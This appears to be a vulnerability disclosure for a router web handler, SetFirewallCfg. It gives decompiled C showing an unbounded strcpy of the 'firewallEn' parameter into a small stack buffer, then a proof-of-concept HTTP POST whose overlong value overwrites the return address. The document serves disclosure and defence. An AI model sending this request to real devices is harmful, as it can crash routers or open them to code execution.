Stack Overflow in function `SetFirewallCfg`

Function address: `0x00487510

```c
void __fastcall formSetFirewallCfg(_DWORD *a1)
{
  _BOOL4 v1; // [sp+20h] [+20h]
  char *s; // [sp+24h] [+24h]
  int v3[2]; // [sp+28h] [+28h] BYREF
  char v4[64]; // [sp+30h] [+30h] BYREF
  int v5[2]; // [sp+70h] [+70h] BYREF
  char v6[64]; // [sp+78h] [+78h] BYREF

  v3[0] = 0;
  v3[1] = 0;
  memset(v4, 0, sizeof(v4));
  v5[0] = 0;
  v5[1] = 0;
  memset(v6, 0, sizeof(v6));
  s = (char *)websGetVar(a1, "firewallEn", "1111");
  if ( strlen(s) >= 4 )
  {
    strcpy((char *)v3, s);
    GetValue("security.ddos.map", v4);
    GetValue("firewall.pingwan", v5);
    sprintf(v6, "%c,1500;%c,1500;%c,1500", SLOBYTE(v3[0]), SBYTE2(v3[0]), SBYTE1(v3[0]));
    SetValue("security.ddos.map", v6);
    SetValue("firewall.pingwan", (char *)v3 + 3);
    doSystemCmd("cfm post  netctrl ddos_ip_fence?op=6");
  }
  v1 = CommitCfm() == 0;
  websWrite(a1, "HTTP/1.0 200 OK\r\n\r\n");
  websWrite(a1, "{\"errCode\":%d}", v1);
  websDone(a1, 200);
}
```

User control pointer s by parameter firewallEn in web requesting; v3 is an array on the stack, and using `strcpy` to copy `s` to v3 without length limit will cause stack overflow.

PoC

```http
POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 163
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wireless_ssid.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=dgwlqw
Connection: close

firewallEn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
```

Return address is overflowed by bbbb